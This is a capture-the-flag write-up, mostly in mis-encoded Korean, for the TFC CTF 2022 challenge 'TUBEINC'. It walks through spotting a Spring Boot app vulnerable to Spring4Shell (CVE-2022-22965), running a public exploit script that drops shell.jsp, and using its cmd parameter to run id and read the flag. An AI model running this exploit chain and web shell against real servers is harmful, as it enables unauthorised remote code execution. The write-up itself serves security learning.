[TFC CTF 2022] TUBEINC
TUBEINC
๋ํ ์ค์๋ ํ์ง ๋ชปํ๋ ๋ฌธ์ ์ธ๋ฐ Writeup์ ๋ณด๋ ์ฌ๋ฐ์ด์ ์ ๋ฆฌํด๋ณธ๋ค.
๋ฌธ์ ํ์ด์ง์ ๋ชจ์ต์ด๋ค ํฌ๊ฒ ์ป์ ๊ฒ์ ์์ง๋ง ํ์ด์ง ํ๋จ์ ๋ณด๋ฉด
1
2
3
4
5
6
<footer>
<p>For the complete functionality of the page add the following entries to your DNS configuration and use tube.com:PORT to connect to the platform.<br>
34.65.33.171 tube.com<br>
34.65.33.171 legacy.tube.com<br>
DO NOT USE THIS IN PRODUCTION!</p>
</footer>
IP์ฃผ์์ ๋๋ฉ์ธ ์ฃผ์๊ฐ ๋งคํ ์ค์ ์ด ๋ณด์ธ๋ค.
์ด๋ฅผ ๋ก์ปฌ์์ ๋ง์ถฐ์ฃผ๊ธฐ ์ํด hostํ์ผ(C:\Windows\System32\drivers\etc\hosts)์ ๋ณ๊ฒฝํด์ผ ํ๋ค.
hosts ํ์ผ์ด๋?
IP์ฃผ์์ ๋๋ฉ์ธ์ ๋งคํํด์ฃผ์ด DNS์์ ์ฃผ์๋ฅผ ์ ๊ณต ๋ฐ์ง ์๊ณ ๋ ์๋ฒ๋ฅผ ์ฐพ์ ์ ์๊ฒ ํด์ฃผ๋ ๋ฆฌ์คํธ์ด๋ค.
hostsํ์ผ์ ๋ณด๋ฉด localhost๊ฐ loopback์ธ 127.0.0.1๋ก ์ค์ ๋์ด ์๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
1
2
3
4
5
# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost
34.65.33.171 tube.com
34.65.33.171 legacy.tube.com
local์ hosts ํ์ผ์ ์์ฒ๋ผ ๋ณ๊ฒฝํด์ฃผ๊ณ ๋ค์ ๋ฌธ์ ์ฌ์ดํธ๋ก ๋ค์ด๊ฐ๋ณด๋ฉด alert ์ฐฝ์ด ๋ฌ๋ค.

html ์์ค์ฝ๋๋ฅผ ๋ณด๋ฉด ์จ์ด์๋ ์ฃผ์์ ๋ณผ ์ ์๋ค.
1
2
3
4
5
6
7
<!--
Important!
Due to the recent discovery of a major vulnerability of the used framework, this platform is now deprecated (more information at /info).
It remains available only for backward compatibility reasons.
DO NOT USE THIS PLATFORM IN PRODUCTION!
-->
/info ๊ฒฝ๋ก์ ๋ค์ด๊ฐ๋ณด๋ฉด
spring-boot๋ฅผ ์ฌ์ฉํ๊ณ 22๋
3์ 30์ผ์ด ๋ง์ง๋ง ์
๋ฐ์ดํธ ์ธ ๊ฒ์ผ๋ก ๋ณด์ธ๋ค.
๊ด๋ จ CVE๋ฅผ ์ฐพ์๋ณด๋ฉด spring4shell(CVE-2022-22965) ๊ฐ ์๋ค. 
์ทจ์ฝ ์กฐ๊ฑด
- JAVA 9์ด์
- Apache Tomcat ์๋ฒ
- Spring Framwork ๋ฒ์ 5.3.0 ~ 5.3.17, 5.2.0 ~ 5.2.19 ๋ฐ ์ด์ ๋ฒ์
- Spring-webmvc ๋๋ Spring-webflux ์ข ์์ฑ
- WAR ํํ๋ก ํจํค์ง
Exploit
๊ตฌ๊ธ๋ง์ ํด๋ณด๋ฉด spring4shell ์ทจ์ฝ์ ์ ํตํด Webshell์ ์ป์ ์ ์๋ POC๊ฐ ์๋ค.
POC
Exploit POC
1
2
3
4
5
6
7
8
9
10
11
12
13
python exploit.py --url "http://legacy.tube.com:49445"
โโ(dim.,juil.31)โโ
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://legacy.tube.com:49445/shell.jsp?cmd=id
Shell์ ๋๋ค. cmd=cat user.flag ๋ก FLAG๋ฅผ ์ป์๋ค.




